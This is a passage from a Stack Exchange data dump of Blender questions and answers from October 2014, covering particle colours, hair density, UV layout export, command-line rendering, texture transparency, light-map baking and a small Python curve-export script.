src=&quot;https://i.stack.imgur.com/2ntUS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jk8pR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31882&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-02T23:10:18.677" LastActivityDate="2014-10-02T23:10:18.677" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16374" PostTypeId="2" ParentId="13513" CreationDate="2014-10-02T21:53:10.377" Score="-1" Body="&lt;p&gt;If you using Blender Render&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Particle Halos allows to can set a material on the emitter and select it.  Particles textures can modify color and size among other properties.&lt;/li&gt;&#xA;&lt;li&gt;Object and Group Particles maintain their own color&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zMnu0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Cycles Render&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The [particles info] in the materials node editor can provide more info and can be programmed with the nodes for precisely colored particles.&lt;/li&gt;&#xA;&lt;li&gt;Textures can change size and other properties&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/luWTl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-02T22:38:49.170" LastActivityDate="2014-10-02T22:38:49.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16375" PostTypeId="1" CreationDate="2014-10-02T22:23:31.180" Score="4" ViewCount="1040" Body="&lt;p&gt;I tried using the dynamic paint modifier to control the hair density of an object but it didn't work out like I wanted it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is set up a plane, gave it a few subdivisions and added a dynamic paint canvas. The canvas is set to weight paint mode and I assigned a vertex group to write the data to.&#xA;Then, to paint the canvas I added a sphere as a dynamic paint brush and placed it inside of the plane. The sphere has a basic animated path through the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just using a simple hair setup with basically no settings changed.&#xA;The only changes are in the vertex groups panel. There I, obviously, tried assigning the vertex group from the dynamic paint to the density slot, to no avail. The exact same vertex group can be used in the length slot and the effect will be seen.&#xA;When I use normal weight paint with the vertex group i can control the density.&#xA;I also tried swapping the two modifiers in the modifier stack and enabled the use modifier stack option in the particle settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="6310" LastActivityDate="2021-04-11T20:01:00.400" Title="How do I use dynamic paint to control hair density?" Tags="&lt;particles&gt;&lt;weight-painting&gt;&lt;dynamic-paint&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16376" PostTypeId="2" ParentId="7591" CreationDate="2014-10-03T00:07:39.107" Score="2" Body="&lt;p&gt;This was changed in 2.71, now solid view is displayed with shading, and wireframe view is shadeless:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPJcN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-03T00:07:39.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16377" PostTypeId="2" ParentId="14389" CreationDate="2014-10-03T01:06:39.213" Score="5" Body="&lt;p&gt;The developer that makes a tool to fix bad video will become a millionaire. That developer hasn't come yet. Out of focus is probably one of the worst problems at that. In short, you're not going to get good results.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-10-03T01:06:39.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16378" PostTypeId="2" ParentId="16366" CreationDate="2014-10-03T01:16:43.470" Score="4" Body="&lt;p&gt;All of blender's plugins are python scripts, so I looked up the script and was going through it's code when I realized that was a really bad idea.  If you grab the bottom of the top menu bar and pull down it gives you a list of all the commands blender has recently executed. Add a couple surfaces, and voila, it looks like these commands should be a good start to what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_z_function_surface(div_x=20, div_y=17)&#xA;bpy.ops.mesh.primitive_xyz_function_surface(x_eq=&quot;cos(v)*(1+cos(u))*sin(v/3)&quot;, z_eq=&quot;sin(v)*(1.3+cos(u))*sin(v/8)&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They can be used in a script (blender's user interface uses python, so everything that shows up in the command list is valid python), just don't forget to import bpy.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-10-03T01:16:43.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16379" PostTypeId="2" ParentId="6208" CreationDate="2014-10-03T01:34:46.377" Score="1" Body="&lt;p&gt;Switch to GLSL shading and enable &lt;em&gt;Shadeless&lt;/em&gt; in your material settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/himVC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/himVC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With GLSL enabled in texture paint mode, &lt;em&gt;wireframe&lt;/em&gt; view will display only the vertex colors, &lt;em&gt;solid&lt;/em&gt; will display both, and &lt;em&gt;textured&lt;/em&gt; will display only the textures.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-03T01:34:46.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16380" PostTypeId="2" ParentId="14764" CreationDate="2014-10-03T01:53:34.103" Score="1" Body="&lt;p&gt;One way to do this is by select everything with box select (&lt;kbd&gt;B&lt;/kbd&gt;), circle select (&lt;kbd&gt;C&lt;/kbd&gt;), or lasso select (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt;) while in solid view with &lt;em&gt;Limit selection to visible&lt;/em&gt; enabled, then inverting the selection (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;) and deleting faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o3Xvj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-03T01:53:34.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16382" PostTypeId="1" AcceptedAnswerId="16387" CreationDate="2014-10-03T06:06:43.797" Score="5" ViewCount="1264" Body="&lt;p&gt;first of all, thanks for the help you have provided me indirectly through this forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to generate still pictures using blender. I have the python script and the model which are both functioning well but i would like to take the script out of the blender file to be able to generate it with an external macro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can currently generate the picture by running the python script from the GUI. I am also able to generate the picture from the command line if I call the script saved within the blender file (Internal_Script.py is inside the blender file).:&#xA;&quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot; --background model.blend --python Internal_Script.py  -f 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, if I take the content of this script and copy it in a file alongside the blend file, it doesn't work any more (External_Script.py is a separate file now).&#xA;&quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot; --background model.blend --python External_Script.py  -f 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the python script is definitely being read as i get an error if I misspell the filename. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Cannot render, no camera&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is quite strange as there is definitely a camera and the script works just fine if it's saved in the blender file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you have any idea about what's going on?&lt;/p&gt;&#xA;" OwnerUserId="6242" LastActivityDate="2014-12-05T16:18:09.783" Title="Run blender Still rendering from command line with external Python script" Tags="&lt;python&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16383" PostTypeId="2" ParentId="14627" CreationDate="2014-10-03T06:51:31.213" Score="3" Body="&lt;p&gt;In your case this is caused by having &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Smoothing#Auto_Smooth&quot; rel=&quot;nofollow noreferrer&quot;&gt;Auto Smooth&lt;/a&gt; enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3gUrZ.png&quot; alt=&quot;Auto Smooth checkbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Angles on the model that are smaller than the angle specified in the Angle button will be smoothed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Angle&lt;/em&gt; slider is used to control how rounded a surface may be before it is split by a hard edge. Edges with an angle greater than this value have their vertex normals split, causing it to appear as a sharp edge instead of a smooth one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fB7At.png&quot; alt=&quot;Stanford bunny with auto smoothing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From top-left to bottom-right: Auto Smooth off; On with 180 degree angle; 20 degrees; 10 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Auto Smooth has no effect on flat-shaded geometry.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another cause for this could have been the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Edge_Split&quot; rel=&quot;nofollow noreferrer&quot;&gt;Edge Split modifier&lt;/a&gt;. It works similarly to Auto Smooth, except that it does not modify the vertex normals, instead it physically splits the sharp edges into two separate edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no visual difference between Auto Smooth and the Edge Split modifier, but the modifier affects the rest of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/The_Stack&quot; rel=&quot;nofollow noreferrer&quot;&gt;modifier stack&lt;/a&gt; and also may be applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case this is an undesired effect, but if you did want to use this function it's worth noting that Auto Smooth will give you much faster viewport and render performance, since the modifier is physically changing geometry and working with the rest of the stack as opposed to simply adjusting the vertex normals.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-10-03T06:51:31.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16384" PostTypeId="1" AcceptedAnswerId="16385" CreationDate="2014-10-03T07:20:47.823" Score="25" ViewCount="102541" Body="&lt;p&gt;I have a 3D truck model already textured and properly imported into Blender. This is a game model and I need to &quot;re-paint&quot; with design from other transport companies. The problem is that I don't have a UV layout (skin template) to serve as a guide for future paintings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to &quot;extract&quot; an UV Layout to .JPG or .PNG to serve as guide for .DDS texture editing?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that I don't want to remap the model. I still want to use the actual UV Mapping and just need to edit the actual textures.&lt;/p&gt;&#xA;" OwnerUserId="6311" LastActivityDate="2019-05-18T23:17:36.300" Title="Extracting a UV layout" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16385" PostTypeId="2" ParentId="16384" CreationDate="2014-10-03T07:23:29.947" Score="37" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Image editor &gt; Header &gt; UVs&lt;/em&gt;, select &lt;em&gt;Export UV layout&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H4O0w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will take you to the file manager and allow you to set the export options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PgddU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-03T07:23:29.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16387" PostTypeId="2" ParentId="16382" CreationDate="2014-10-03T08:46:13.703" Score="7" Body="&lt;p&gt;Check that &lt;code&gt;bpy.context.scene.camera&lt;/code&gt; is set to your newly added camera. That property determines which camera is used for rendering, and if it's still &lt;code&gt;None&lt;/code&gt; it won't work.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2014-10-06T15:33:47.840" LastActivityDate="2014-10-06T15:33:47.840" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16388" PostTypeId="1" AcceptedAnswerId="16597" CreationDate="2014-10-03T12:26:15.607" Score="1" ViewCount="1356" Body="&lt;p&gt;I'm trying to rotate a walking animation. It's stored as motion capture data in a BVH file (&lt;a href=&quot;http://stuvel.eu/files/walk_straight_01.bvh&quot; rel=&quot;nofollow noreferrer&quot;&gt;download an example here&lt;/a&gt;), and then loaded into Blender as a moving armature. What I would like is to be able to (manually) &lt;strong&gt;edit the animation&lt;/strong&gt;. My approach so far was:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load the BVH.&lt;/li&gt;&#xA;&lt;li&gt;Move the armature object (so in Object mode) such that at frame #1 it's at the origin.&lt;/li&gt;&#xA;&lt;li&gt;Rotate the object around the origin (so still in Object mode), such that the walking animation is aligned with the X-axis.&lt;/li&gt;&#xA;&lt;li&gt;Press [Ctrl]+[A] to apply the location + rotation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This last step doesn't do what I want. Rather than modifying the animation data, it modifies the armature itself. When I go to edit mode, I see that the &lt;strong&gt;edit bones&lt;/strong&gt; have been changed (see before/after image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/62IsL.png&quot; alt=&quot;Before/after editing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have multiple BVH files with multiple motions, this is a problem. Since the motion data itself isn't changed, it's impossible to use the aligned animations as actions, and &lt;strong&gt;I cannot link those edited actions to a single armature&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question to you: how do I apply my alignment (rotations &amp;amp; translations) to the animation data (i.e. the root bone translation/rotation), while keeping the armature itself unchanged?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sybren&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I've also asked this question &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?350699-Apply-armature-s-object-rotation-to-animation-data&amp;amp;p=2738332&quot; rel=&quot;nofollow noreferrer&quot;&gt;at BlenderArtists&lt;/a&gt;. I'll make sure that if there is a solution posted here, I'll update my post there, and vice versa.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2014-10-06T15:36:41.893" LastActivityDate="2014-10-09T11:48:55.600" Title="Apply armature's object rotation to animation data" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16389" PostTypeId="1" AcceptedAnswerId="17774" CreationDate="2014-10-03T14:20:01.437" Score="3" ViewCount="971" Body="&lt;p&gt;My problem is setting up a camera in the game engine.&#xA;I wanted 4 camera views instead of one.&#xA;Front, Back, eyes view and side view; Something like minecraft game.&lt;br&gt;&#xA;It will be very helpful if you can give me a tutorial of it.&#xA;Please include how to change camera view; for example, pressing f1 = front view , f2 = eyes view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to set my camera on eyes view I want the camera to see my hand when I walk or run, but the character body is blocking the view. Is there anyway to solve this or make the camera look through the body?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="2217" LastEditDate="2014-12-24T17:22:27.893" LastActivityDate="2014-12-24T17:22:27.893" Title="Blender game engine camera" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ClosedDate="2014-10-13T21:55:32.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="16390" PostTypeId="1" AcceptedAnswerId="16465" CreationDate="2014-10-03T14:28:23.320" Score="2" ViewCount="460" Body="&lt;p&gt;A nasty white line runs horizontal across my sample render and I can't seem to find what's causing it! I'm using blender internal render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/YIRENa9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend File: &lt;a href=&quot;http://www.filedropper.com/grass&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.filedropper.com/grass&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! :)&lt;/p&gt;&#xA;" OwnerUserId="6313" LastEditorUserId="6313" LastEditDate="2014-10-03T17:32:35.643" LastActivityDate="2014-10-06T00:31:07.533" Title="White line across my blender sample render?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16391" PostTypeId="1" AcceptedAnswerId="16413" CreationDate="2014-10-03T14:48:24.380" Score="7" ViewCount="1201" Body="&lt;p&gt;I'm creating a world made of cubes, similar to cube world game.&#xA;Is there any quick way to create a map made of cubes that looks like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F8k6H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="2217" LastEditDate="2014-10-04T02:00:05.560" LastActivityDate="2014-10-04T02:00:05.560" Title="modeling a world made of cubes" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16392" PostTypeId="1" AcceptedAnswerId="16395" CreationDate="2014-10-03T14:57:31.630" Score="3" ViewCount="24708" Body="&lt;p&gt;I have 100 tif images from confocal microsocpy that have black background (NOT alpha) and I would like to stack them to recreate some color labeled structures in 3D. In order to do that, I need to make the black color transparent. I tried to mix diffuse and transparent shaders, but I don't really know how to indicate the black color to be transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ds66P.jpg&quot; alt=&quot;confocal microscopy plane&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2017-06-11T20:11:47.267" Title="Is it possible to convert image texture's black color to transparent?" Tags="&lt;transparency&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16393" PostTypeId="2" ParentId="9305" CreationDate="2014-10-03T15:09:19.033" Score="2" Body="&lt;p&gt;thanks for your work so i decide to post my work here....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now it will exports all bezier_points in all curve(the data will be used in a three.js project&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;&#xA;currPath = os.path.splitext(bpy.data.filepath)[0]+ &quot;.curves.js&quot;&#xA;file = open(currPath, &quot;w&quot;) &#xA;&#xA;file.write('var curves = {\n')&#xA;for ob in bpy.data.objects.values() : &#xA;  if ob.type == 'CURVE' :&#xA;    file.write( '&quot;%s&quot;:\n' % ob.name)&#xA;    for spline in ob.data.splines :&#xA;      if len(spline.bezier_points) &amp;gt; 0 :&#xA;        file.write(&quot;[&quot;)&#xA;        for bezier_point in spline.bezier_points.values() : &#xA;          handle_left  = ob.matrix_world * bezier_point.handle_left&#xA;          co           = ob.matrix_world * bezier_point.co&#xA;          handle_right = ob.matrix_world * bezier_point.handle_right&#xA;&#xA;          file.write(&quot;[[%.3f, %.3f, %.3f],  &quot; % (handle_left.x, handle_left.y, handle_left.z ))&#xA;          file.write(&quot;[%.3f, %.3f, %.3f],  &quot; % (co.x, co.y, co.z ))&#xA;          file.write(&quot;[%.3f, %.3f, %.3f]],\n  &quot; % (handle_right.x, handle_right.y, handle_right.z ))&#xA;&#xA;    file.write(&quot;],\n&quot;)&#xA;file.write(&quot;}\n&quot;)&#xA;file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6317" LastActivityDate="2014-10-03T15:09:19.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16394" PostTypeId="1" CreationDate="2014-10-03T15:23:03.390" Score="1" ViewCount="4114" Body="&lt;p&gt;I was super excited to see that baking functionality has finally made it into Cycles. But I'm a bit confused about its usage. There are a lot of options in there. I'm able to get baking working just fine I think, but I'd like to back just a light map. There doesn't seem to be an option to combine bakes (except for one big combination of every thing). So I'm guessing I need to bake multiple maps and merge them in Photoshop. I'm just not sure exactly which ones I need. I'm guessing it would be Shadows, AO, Diffuse Indirect, and Diffuse Direct? Am I missing one? Is there some way to have Cycles bake those four together at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side question, just because I haven't tried it yet, if I make a second UV channel for my light maps (say one using Lightmap Pack in the UV tools) and set the image that I light map on to use that one while keeping the actual materials on the first one, will that give me the results I want? I don't want my materials to go wonky when I create the second UV set but I've never worked with multiple UV channels before. Certainly not in combination with baking in Cycles. &lt;/p&gt;&#xA;" OwnerUserId="2165" LastEditorUserId="5705" LastEditDate="2014-10-03T17:08:52.220" LastActivityDate="2016-12-29T22:52:59.583" Title="Baking only light maps in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16395" PostTypeId="2" ParentId="16392" CreationDate="2014-10-03T15:37:20.423" Score="6" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Cycles  Texture Non Color then Mix Transparency and Emission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qC8Kq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mSem3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might consider processing your images once as format .png for you later convenience and node convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second a sample from Blender Render. UV Mapped Image. Texture 01 Image .. calculate transparency.  Threshold with color ramp gray scale . Affect color and transparency. Texture 02 color only multiply. You may want to threshold because the image may not be black exactly where you might first think.  There are many was to do this.  Torus Background and Text to show transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g4iXv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Textures. Note the color ramp.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9W5NT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-03T17:02:03.037" LastActivityDate="2014-10-03T17:02:03.037" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16397" PostTypeId="1" AcceptedAnswerId="16398" CreationDate="2014-10-03T16:35:13.837" Score="8" ViewCount="24025" Body="&lt;p&gt;Given a 3D model, I want to define different regions and fill each region with solid color (to distinguish)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current solution is to first select faces under edit mode, then switch to vertex paint mode and paint use a brush. I changed some properties of the brush(large radius, reduce edge softness) but I can't make regions in solid color as I expected..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Help.&lt;/p&gt;&#xA;" OwnerUserId="6319" LastActivityDate="2014-10-04T00:18:17.603" Title="How to fill a mesh with solid color" Tags="&lt;mesh&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16398" PostTypeId="2" ParentId="16397" CreationDate="2014-10-03T16:53:35.963" Score="4" Body="&lt;p&gt;You can create multiple materials for the object in the &lt;em&gt;materials&lt;/em&gt; tab of the &lt;em&gt;properties&lt;/em&gt; panel.  Then, on edit mode, use the &lt;em&gt;assign&lt;/em&gt; buttons in the &lt;em&gt;materials&lt;/em&gt; tab to give the selected faces the selected material.  By default all faces are assigned the first material you create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jDf3n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L5mj8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; the rendering properties of a material can be found in the &lt;em&gt;surface&lt;/em&gt; rollout.  But materials, by default, have a gray viewport color, this can be changed for each material at the bottom of the material's settings.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-10-04T00:18:17.603" LastActivityDate="2014-10-04T00:18:17.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16399" PostTypeId="1" CreationDate="2014-10-03T17:04:16.803" Score="0" ViewCount="258" Body="&lt;p&gt;When adding a circle I can see the 'Add circle' panel below the tool bar, but once I do something else it disappears. How do I get this back? How can I change the number vertices on an existing circle for instance? It appears that you have to do this immediately after adding the primitive, otherwise you're scuppered? &lt;/p&gt;&#xA;" OwnerUserId="6322" LastActivityDate="2014-10-03T17:38:14.830" Title="Changing primitive properties retrospectively - options not visible below the tool panel" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-03T18:30:42.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="16400" PostTypeId="2" ParentId="16399" CreationDate="2014-10-03T17:38:14.830" Score="-1" Body="&lt;p&gt;Creation is special.  Some options you are see are valid at creation time only.  That is standard Blender behavior. The options panel will disappear as you move on to the next mode or task.  If you created a with sphere 32 rings and then in [edit mode] removed many faces ... it is difficult to understand what it would mean to change the rings to 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is difficult to get a creation panel behavior that is acceptable to a large consensus after some object has been potentially modified.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-10-03T17:38:14.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16401" PostTypeId="2" ParentId="16397" CreationDate="2014-10-03T18:01:04.120" Score="0" Body="&lt;p&gt;For continuous gradient elaborate color such as the colors of a flower then consider texture mapping.  You can paint or paste on the flat map or paint a texture in 3D.&#xA;Videos exist for these techniques.  UV Unwrap and then texture paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want say solid stripes on a cylinder PG has already given a good answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex Color must have the context set correctly to work.  I suspect people rarely use it.  There are videos for that topic as well.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-10-03T18:01:04.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
